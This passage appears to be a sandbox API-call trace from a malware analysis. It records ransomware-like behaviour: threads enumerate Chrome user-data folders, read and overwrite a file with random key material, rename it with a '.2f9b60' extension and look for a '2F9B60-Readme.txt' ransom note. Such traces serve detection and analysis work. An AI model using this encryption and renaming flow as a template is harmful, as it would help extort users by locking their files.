ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d370 [0219.883] wcscmp (_String1=".", _String2=".") returned 0 [0219.884] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce1f310 | out: lpFindFileData=0x1ce1f310*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.884] wcscmp (_String1="..", _String2=".") returned 1 [0219.884] wcscmp (_String1="..", _String2="..") returned 0 [0219.884] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce1f310 | out: lpFindFileData=0x1ce1f310*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0219.884] FindClose (in: hFindFile=0x1cd9d370 | out: hFindFile=0x1cd9d370) returned 1 [0219.885] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1f310) returned 1 [0219.885] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43109640) returned 1 [0219.885] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce16920) returned 1 Thread: id = 3668 os_tid = 0x22c4 [0218.268] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x431096f0 [0218.268] wcscpy (in: _Dest=0x431096f0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash" [0218.268] wcscat (in: _Dest=0x431096f0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash\\" [0218.268] wcscat (in: _Dest=0x431096f0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash\\*" [0218.268] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1df90 [0218.269] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash\\*", lpFindFileData=0x1ce1df90 | out: lpFindFileData=0x1ce1df90*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d370 [0219.886] wcscmp (_String1=".", _String2=".") returned 0 [0219.886] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce1df90 | out: lpFindFileData=0x1ce1df90*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.886] wcscmp (_String1="..", _String2=".") returned 1 [0219.887] wcscmp (_String1="..", _String2="..") returned 0 [0219.887] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce1df90 | out: lpFindFileData=0x1ce1df90*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0219.887] FindClose (in: hFindFile=0x1cd9d370 | out: hFindFile=0x1cd9d370) returned 1 [0219.887] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1df90) returned 1 [0219.888] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431096f0) returned 1 [0219.888] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce169d0) returned 1 Thread: id = 3669 os_tid = 0x22fc [0218.269] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x431e34e0 [0218.270] wcscpy (in: _Dest=0x431e34e0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl" [0218.270] wcscat (in: _Dest=0x431e34e0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl\\" [0218.270] wcscat (in: _Dest=0x431e34e0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl\\*" [0218.270] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1ee30 [0218.270] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl\\*", lpFindFileData=0x1ce1ee30 | out: lpFindFileData=0x1ce1ee30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e47510, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e47510, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e47510, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d370 [0219.889] wcscmp (_String1=".", _String2=".") returned 0 [0219.889] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce1ee30 | out: lpFindFileData=0x1ce1ee30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e47510, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e47510, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e47510, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.889] wcscmp (_String1="..", _String2=".") returned 1 [0219.889] wcscmp (_String1="..", _String2="..") returned 0 [0219.890] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce1ee30 | out: lpFindFileData=0x1ce1ee30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e47510, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e47510, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e47510, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0219.890] FindClose (in: hFindFile=0x1cd9d370 | out: hFindFile=0x1cd9d370) returned 1 [0219.890] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1ee30) returned 1 [0219.891] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431e34e0) returned 1 [0219.891] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431834e0) returned 1 Thread: id = 3670 os_tid = 0xb54 [0218.271] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Channel IDs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\safe browsing channel ids")) returned 0x2020 [0219.812] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Channel IDs", dwFileAttributes=0x20) returned 1 [0224.468] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Channel IDs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\safe browsing channel ids"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2a48 [0224.469] GetFileSizeEx (in: hFile=0x2a48, lpFileSize=0x4fbffe20 | out: lpFileSize=0x4fbffe20*=5120) returned 1 [0224.469] SetFilePointerEx (in: hFile=0x2a48, liDistanceToMove=0x13fc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.469] ReadFile (in: hFile=0x2a48, lpBuffer=0x4fbffda0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x4fbffde8, lpOverlapped=0x0 | out: lpBuffer=0x4fbffda0*, lpNumberOfBytesRead=0x4fbffde8*=0x4, lpOverlapped=0x0) returned 1 [0224.474] SetFilePointerEx (in: hFile=0x2a48, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.474] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202604a0 [0224.474] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202622a0 [0224.475] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263050 [0224.475] NtQuerySystemTime (in: CurrentTime=0x4fbffce0 | out: CurrentTime=0x4fbffce0*=132462178284694000) returned 0x0 [0224.475] RtlRandomEx (in: Seed=0x4fbffcd0 | out: Seed=0x4fbffcd0) returned 0x7c800854 [0224.475] RtlRandomEx (in: Seed=0x4fbffcd0 | out: Seed=0x4fbffcd0) returned 0x422a6751 [0224.475] RtlRandomEx (in: Seed=0x4fbffcd0 | out: Seed=0x4fbffcd0) returned 0x6a11e56d [0224.475] RtlRandomEx (in: Seed=0x4fbffcd0 | out: Seed=0x4fbffcd0) returned 0x1a771df9 [0224.475] RtlRandomEx (in: Seed=0x4fbffcd0 | out: Seed=0x4fbffcd0) returned 0x5c301371 [0224.475] RtlRandomEx (in: Seed=0x4fbffcd0 | out: Seed=0x4fbffcd0) returned 0x1f6dd09a [0224.475] RtlRandomEx (in: Seed=0x4fbffcd0 | out: Seed=0x4fbffcd0) returned 0x979a580 [0224.475] RtlRandomEx (in: Seed=0x4fbffcd0 | out: Seed=0x4fbffcd0) returned 0x5d4cbed1 [0224.475] RtlRandomEx (in: Seed=0x4fbffcd0 | out: Seed=0x4fbffcd0) returned 0x127c432a [0224.475] RtlRandomEx (in: Seed=0x4fbffcd0 | out: Seed=0x4fbffcd0) returned 0x54ce933c [0224.476] RtlRandomEx (in: Seed=0x4fbffcd0 | out: Seed=0x4fbffcd0) returned 0x6709e4d0 [0224.476] RtlRandomEx (in: Seed=0x4fbffcd0 | out: Seed=0x4fbffcd0) returned 0xaafbb67 [0224.476] RtlRandomEx (in: Seed=0x4fbffcd0 | out: Seed=0x4fbffcd0) returned 0x7071d11 [0224.476] RtlRandomEx (in: Seed=0x4fbffcd0 | out: Seed=0x4fbffcd0) returned 0x351006c9 [0224.476] RtlRandomEx (in: Seed=0x4fbffcd0 | out: Seed=0x4fbffcd0) returned 0x797dc8c5 [0224.476] RtlRandomEx (in: Seed=0x4fbffcd0 | out: Seed=0x4fbffcd0) returned 0x4684544f [0224.476] RtlRandomEx (in: Seed=0x4fbffcd0 | out: Seed=0x4fbffcd0) returned 0x334346cd [0224.476] RtlRandomEx (in: Seed=0x4fbffcd0 | out: Seed=0x4fbffcd0) returned 0x186ada13 [0224.476] RtlRandomEx (in: Seed=0x4fbffcd0 | out: Seed=0x4fbffcd0) returned 0x5dd4c89b [0224.476] RtlRandomEx (in: Seed=0x4fbffcd0 | out: Seed=0x4fbffcd0) returned 0x5627f373 [0224.476] RtlRandomEx (in: Seed=0x4fbffcd0 | out: Seed=0x4fbffcd0) returned 0x26ef841c [0224.476] RtlRandomEx (in: Seed=0x4fbffcd0 | out: Seed=0x4fbffcd0) returned 0x2c982e46 [0224.476] RtlRandomEx (in: Seed=0x4fbffcd0 | out: Seed=0x4fbffcd0) returned 0xb6ea272 [0224.476] RtlRandomEx (in: Seed=0x4fbffcd0 | out: Seed=0x4fbffcd0) returned 0x6d780d44 [0224.476] RtlRandomEx (in: Seed=0x4fbffcd0 | out: Seed=0x4fbffcd0) returned 0x472337ce [0224.476] RtlRandomEx (in: Seed=0x4fbffcd0 | out: Seed=0x4fbffcd0) returned 0x2e314829 [0224.476] RtlRandomEx (in: Seed=0x4fbffcd0 | out: Seed=0x4fbffcd0) returned 0x49ea1c5 [0224.476] RtlRandomEx (in: Seed=0x4fbffcd0 | out: Seed=0x4fbffcd0) returned 0x4a24dc1d [0224.476] RtlRandomEx (in: Seed=0x4fbffcd0 | out: Seed=0x4fbffcd0) returned 0xab2122c [0224.476] RtlRandomEx (in: Seed=0x4fbffcd0 | out: Seed=0x4fbffcd0) returned 0x6693273 [0224.476] RtlRandomEx (in: Seed=0x4fbffcd0 | out: Seed=0x4fbffcd0) returned 0x269b0335 [0224.476] RtlRandomEx (in: Seed=0x4fbffcd0 | out: Seed=0x4fbffcd0) returned 0x322a4a13 [0224.485] ReadFile (in: hFile=0x2a48, lpBuffer=0x41cd00b0, nNumberOfBytesToRead=0x1400, lpNumberOfBytesRead=0x4fbffcd0, lpOverlapped=0x0 | out: lpBuffer=0x41cd00b0*, lpNumberOfBytesRead=0x4fbffcd0*=0x1400, lpOverlapped=0x0) returned 1 [0224.510] SetFilePointerEx (in: hFile=0x2a48, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.510] WriteFile (in: hFile=0x2a48, lpBuffer=0x41cf5950*, nNumberOfBytesToWrite=0x1400, lpNumberOfBytesWritten=0x4fbffcd4, lpOverlapped=0x0 | out: lpBuffer=0x41cf5950*, lpNumberOfBytesWritten=0x4fbffcd4*=0x1400, lpOverlapped=0x0) returned 1 [0224.890] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18ab0 [0224.891] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1e330 [0224.892] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1e330) returned 1 [0224.892] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41cf5950) returned 1 [0224.893] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41cd00b0) returned 1 [0224.893] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e2f0) returned 1 [0224.893] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62320) returned 1 [0224.893] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62320 [0224.894] SetFilePointerEx (in: hFile=0x2a48, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0224.894] WriteFile (in: hFile=0x2a48, lpBuffer=0x42c21130*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x4fbffdf0, lpOverlapped=0x0 | out: lpBuffer=0x42c21130*, lpNumberOfBytesWritten=0x4fbffdf0*=0x124, lpOverlapped=0x0) returned 1 [0225.873] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059000 [0225.874] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504310 [0225.874] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e050 [0225.875] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e050) returned 1 [0225.875] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x431adc20 [0225.875] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e050 [0225.876] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e860 [0225.876] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e860) returned 1 [0225.877] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504310) returned 1 [0225.877] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059000) returned 1 [0225.877] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x65) returned 0x431065c0 [0225.877] sprintf (in: _Dest=0x431065c0, _Format="%c%c" | out: _Dest="c6") returned 2 [0225.877] sprintf (in: _Dest=0x431065c2, _Format="%c%c" | out: _Dest="63") returned 2 [0225.877] sprintf (in: _Dest=0x431065c4, _Format="%c%c" | out: _Dest="07") returned 2 [0225.877] sprintf (in: _Dest=0x431065c6, _Format="%c%c" | out: _Dest="f3") returned 2 [0225.877] sprintf (in: _Dest=0x431065c8, _Format="%c%c" | out: _Dest="bb") returned 2 [0225.878] sprintf (in: _Dest=0x431065ca, _Format="%c%c" | out: _Dest="a3") returned 2 [0225.878] sprintf (in: _Dest=0x431065cc, _Format="%c%c" | out: _Dest="18") returned 2 [0225.878] sprintf (in: _Dest=0x431065ce, _Format="%c%c" | out: _Dest="fc") returned 2 [0225.878] sprintf (in: _Dest=0x431065d0, _Format="%c%c" | out: _Dest="de") returned 2 [0225.878] sprintf (in: _Dest=0x431065d2, _Format="%c%c" | out: _Dest="e3") returned 2 [0225.878] sprintf (in: _Dest=0x431065d4, _Format="%c%c" | out: _Dest="47") returned 2 [0225.878] sprintf (in: _Dest=0x431065d6, _Format="%c%c" | out: _Dest="34") returned 2 [0225.878] sprintf (in: _Dest=0x431065d8, _Format="%c%c" | out: _Dest="f8") returned 2 [0225.878] sprintf (in: _Dest=0x431065da, _Format="%c%c" | out: _Dest="58") returned 2 [0225.878] sprintf (in: _Dest=0x431065dc, _Format="%c%c" | out: _Dest="13") returned 2 [0225.878] sprintf (in: _Dest=0x431065de, _Format="%c%c" | out: _Dest="49") returned 2 [0225.878] sprintf (in: _Dest=0x431065e0, _Format="%c%c" | out: _Dest="3b") returned 2 [0225.878] sprintf (in: _Dest=0x431065e2, _Format="%c%c" | out: _Dest="ef") returned 2 [0225.878] sprintf (in: _Dest=0x431065e4, _Format="%c%c" | out: _Dest="84") returned 2 [0225.878] sprintf (in: _Dest=0x431065e6, _Format="%c%c" | out: _Dest="9e") returned 2 [0225.878] sprintf (in: _Dest=0x431065e8, _Format="%c%c" | out: _Dest="a4") returned 2 [0225.878] sprintf (in: _Dest=0x431065ea, _Format="%c%c" | out: _Dest="da") returned 2 [0225.878] sprintf (in: _Dest=0x431065ec, _Format="%c%c" | out: _Dest="2b") returned 2 [0225.878] sprintf (in: _Dest=0x431065ee, _Format="%c%c" | out: _Dest="c5") returned 2 [0225.878] sprintf (in: _Dest=0x431065f0, _Format="%c%c" | out: _Dest="7d") returned 2 [0225.878] sprintf (in: _Dest=0x431065f2, _Format="%c%c" | out: _Dest="31") returned 2 [0225.878] sprintf (in: _Dest=0x431065f4, _Format="%c%c" | out: _Dest="3c") returned 2 [0225.878] sprintf (in: _Dest=0x431065f6, _Format="%c%c" | out: _Dest="10") returned 2 [0225.878] sprintf (in: _Dest=0x431065f8, _Format="%c%c" | out: _Dest="ff") returned 2 [0225.878] sprintf (in: _Dest=0x431065fa, _Format="%c%c" | out: _Dest="bd") returned 2 [0225.878] sprintf (in: _Dest=0x431065fc, _Format="%c%c" | out: _Dest="00") returned 2 [0225.878] sprintf (in: _Dest=0x431065fe, _Format="%c%c" | out: _Dest="7a") returned 2 [0225.879] sprintf (in: _Dest=0x43106600, _Format="%c%c" | out: _Dest="05") returned 2 [0225.879] sprintf (in: _Dest=0x43106602, _Format="%c%c" | out: _Dest="75") returned 2 [0225.879] sprintf (in: _Dest=0x43106604, _Format="%c%c" | out: _Dest="92") returned 2 [0225.879] sprintf (in: _Dest=0x43106606, _Format="%c%c" | out: _Dest="1a") returned 2 [0225.879] sprintf (in: _Dest=0x43106608, _Format="%c%c" | out: _Dest="ec") returned 2 [0225.879] sprintf (in: _Dest=0x4310660a, _Format="%c%c" | out: _Dest="3d") returned 2 [0225.879] sprintf (in: _Dest=0x4310660c, _Format="%c%c" | out: _Dest="42") returned 2 [0225.879] sprintf (in: _Dest=0x4310660e, _Format="%c%c" | out: _Dest="5b") returned 2 [0225.879] sprintf (in: _Dest=0x43106610, _Format="%c%c" | out: _Dest="82") returned 2 [0225.879] sprintf (in: _Dest=0x43106612, _Format="%c%c" | out: _Dest="8e") returned 2 [0225.879] sprintf (in: _Dest=0x43106614, _Format="%c%c" | out: _Dest="63") returned 2 [0225.879] sprintf (in: _Dest=0x43106616, _Format="%c%c" | out: _Dest="cb") returned 2 [0225.879] sprintf (in: _Dest=0x43106618, _Format="%c%c" | out: _Dest="f9") returned 2 [0225.879] sprintf (in: _Dest=0x4310661a, _Format="%c%c" | out: _Dest="25") returned 2 [0225.879] sprintf (in: _Dest=0x4310661c, _Format="%c%c" | out: _Dest="96") returned 2 [0225.879] sprintf (in: _Dest=0x4310661e, _Format="%c%c" | out: _Dest="e2") returned 2 [0225.879] sprintf (in: _Dest=0x43106620, _Format="%c%c" | out: _Dest="d1") returned 2 [0225.879] sprintf (in: _Dest=0x43106622, _Format="%c%c" | out: _Dest="5d") returned 2 [0225.879] RtlInitAnsiString (in: DestinationString=0x4fbffe68, SourceString="c66307f3bba318fcdee34734f85813493bef849ea4da2bc57d313c10ffbd007a0575921aec3d425b828e63cbf92596e2d15d" | out: DestinationString="c66307f3bba318fcdee34734f85813493bef849ea4da2bc57d313c10ffbd007a0575921aec3d425b828e63cbf92596e2d15d") [0225.879] RtlAnsiStringToUnicodeString (in: DestinationString=0x4fbffe38, SourceString="c66307f3bba318fcdee34734f85813493bef849ea4da2bc57d313c10ffbd007a0575921aec3d425b828e63cbf92596e2d15d", AllocateDestinationString=1 | out: DestinationString="c66307f3bba318fcdee34734f85813493bef849ea4da2bc57d313c10ffbd007a0575921aec3d425b828e63cbf92596e2d15d") returned 0x0 [0225.879] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xca) returned 0x43157360 [0225.880] wcscat (in: _Dest=0x43156d40, _Source="c66307f3bba318fcdee34734f" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\c66307f3bba318fcdee34734f") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\c66307f3bba318fcdee34734f" [0225.880] wcscat (in: _Dest=0x43156d40, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\c66307f3bba318fcdee34734f.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\c66307f3bba318fcdee34734f.2f9b60" [0225.880] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\c66307f3bba318fcdee34734f.2f9b60", NtPathName=0x4fbffe10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\c66307f3bba318fcdee34734f.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0225.880] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe8) returned 0x423aafb0 [0226.372] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423aafb0) returned 1 [0226.372] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20293bc0) returned 1 [0226.372] NtQueryInformationFile (in: FileHandle=0x2a48, IoStatusBlock=0x4fbffe78, FileInformation=0x4fbffe88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x4fbffe78, FileInformation=0x4fbffe88) returned 0x0 [0226.372] NtSetInformationFile (FileHandle=0x2a48, IoStatusBlock=0x4fbffe78, FileInformation=0x4fbffe88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0227.298] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43156d40) returned 1 [0227.298] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43157360) returned 1 [0227.298] FlushFileBuffers (hFile=0x2a48) returned 1 [0231.403] CloseHandle (hObject=0x2a48) returned 1 [0235.223] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x4311b9e0 [0235.223] wcscpy (in: _Dest=0x4311b9e0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\" [0235.223] wcscat (in: _Dest=0x4311b9e0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\2F9B60-Readme.txt" [0235.223] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\2f9b60-readme.txt")) returned 0x2020 [0237.671] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4311b9e0) returned 1 [0237.672] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4310a8c0) returned 1 Thread: id = 3671 os_tid = 0x2304 [0218.272] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Channel IDs-journal" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\safe browsing channel ids-journal")) returned 0x2020 [0219.864] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Channel IDs-journal", dwFileAttributes=0x20) returned 1 [0224.502] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS 